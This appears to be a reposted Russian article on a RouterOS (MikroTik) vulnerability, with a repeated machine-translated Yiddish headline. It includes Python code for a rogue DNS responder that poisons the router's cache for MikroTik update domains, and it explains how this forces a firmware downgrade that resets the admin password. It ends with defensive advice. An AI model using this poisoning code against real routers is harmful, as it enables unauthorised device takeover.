באַקפּאָרט וואַלנעראַביליטי אין RouterOS שטעלן הונדערטער פון טויזנטער פון דעוויסעס אין ריזיקירן

באַקפּאָרט וואַלנעראַביליטי אין RouterOS שטעלן הונדערטער פון טויזנטער פון דעוויסעס אין ריזיקירן

Возможность удаленного даунгрейда устройств на базе RouterOS (Mikrotik) ставит под угрозу сотни тысяч сетевых устройств. Уязвимость связана с отравлением DNS-кеша Winbox протокола и позволяет загрузить устаревшую (со сбросом пароля «по-умолчанию») или модифицированную прошивку на устройство.

באַקפּאָרט וואַלנעראַביליטי אין RouterOS שטעלן הונדערטער פון טויזנטער פון דעוויסעס אין ריזיקירן

Детали уязвимости

Терминал RouterOS поддерживает команду разрешения для поиска DNS.

באַקפּאָרט וואַלנעראַביליטי אין RouterOS שטעלן הונדערטער פון טויזנטער פון דעוויסעס אין ריזיקירן

Этот запрос обрабатывается двоичным файлом с именем resolver. Resolver является одним из многих двоичных файлов, которые подключены к протоколу Winbox от RouterOS. На высоком уровне «сообщения», отправляемые на порт Winbox, могут маршрутизироваться в различные двоичные файлы в RouterOS на основе схемы нумерации на основе массива.

По умолчанию в RouterOS отключена функция DNS-сервера.

באַקפּאָרט וואַלנעראַביליטי אין RouterOS שטעלן הונדערטער פון טויזנטער פון דעוויסעס אין ריזיקירן

Однако даже при отключенной функции сервера маршрутизатор поддерживает собственный кэш DNS.

באַקפּאָרט וואַלנעראַביליטי אין RouterOS שטעלן הונדערטער פון טויזנטער פון דעוויסעס אין ריזיקירן

Когда мы делаем запрос, используя winbox_dns_request, например, example.com, маршрутизатор будет кэшировать результат.

באַקפּאָרט וואַלנעראַביליטי אין RouterOS שטעלן הונדערטער פון טויזנטער פון דעוויסעס אין ריזיקירן

Поскольку мы можем указать DNS-сервер, через который должен пройти запрос, вводить неверные адреса тривиально. Например, можно настроить реализацию DNS-сервера от Филиппа Клауса, чтобы всегда отвечать записью A, содержащей IP-адрес 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Теперь если с помощью Winbox поискать example.com то можно увидеть что DNS-кеш маршрутизатора отравлен.

באַקפּאָרט וואַלנעראַביליטי אין RouterOS שטעלן הונדערטער פון טויזנטער פון דעוויסעס אין ריזיקירן

Конечно, отравление example.com не очень полезно, так как маршрутизатор фактически не будет его использовать. Тем не менее, маршрутизатор нуждается в обращении к upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com и download.mikrotik.com. И благодаря еще одной ошибке есть возможность отравить их всех сразу.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Маршрутизатор запрашивает одно разрешение, а мы предоставляем пять обратно. Маршрутизатор неправильно кэширует все эти ответы.

באַקפּאָרט וואַלנעראַביליטי אין RouterOS שטעלן הונדערטער פון טויזנטער פון דעוויסעס אין ריזיקירן

Очевидно, что эта атака также полезна, если маршрутизатор действует как DNS-сервер, поскольку он позволяет атаковать клиентов маршрутизатора.

Также эта атака позволяет проэксплуатировать более серьезную уязвимость: произвести даунгрейд или бэкпортирование версии RouterOS. Атакующий воссоздает логику сервера обновлений, включая changelog и заставляет RouterOS воспринять устаревшую (уязвимую) версию как актуальную. Опасность здесь кроется в том, что при «обновлении» версии пароль администратора сбрасывается в значение «по-умолчанию» — злоумышленник может войти в систему с пустым паролем!


Атака вполне рабочая, несмотря на то что מעכאַבער реализовывает еще несколько векторов, связанных в том числе и с встраиванием бэкдора в прошивку, но это уже избыточная техника и применение ее в нелигитимных целях противозаконно.

שוץ

Простое отключение Winbox позволяет защититься от этих атак. Несмотря на удобство администрирования через Winbox лучше воспользоваться протоколом SSH.

מקור: www.habr.com

לייגן אַ באַמערקונג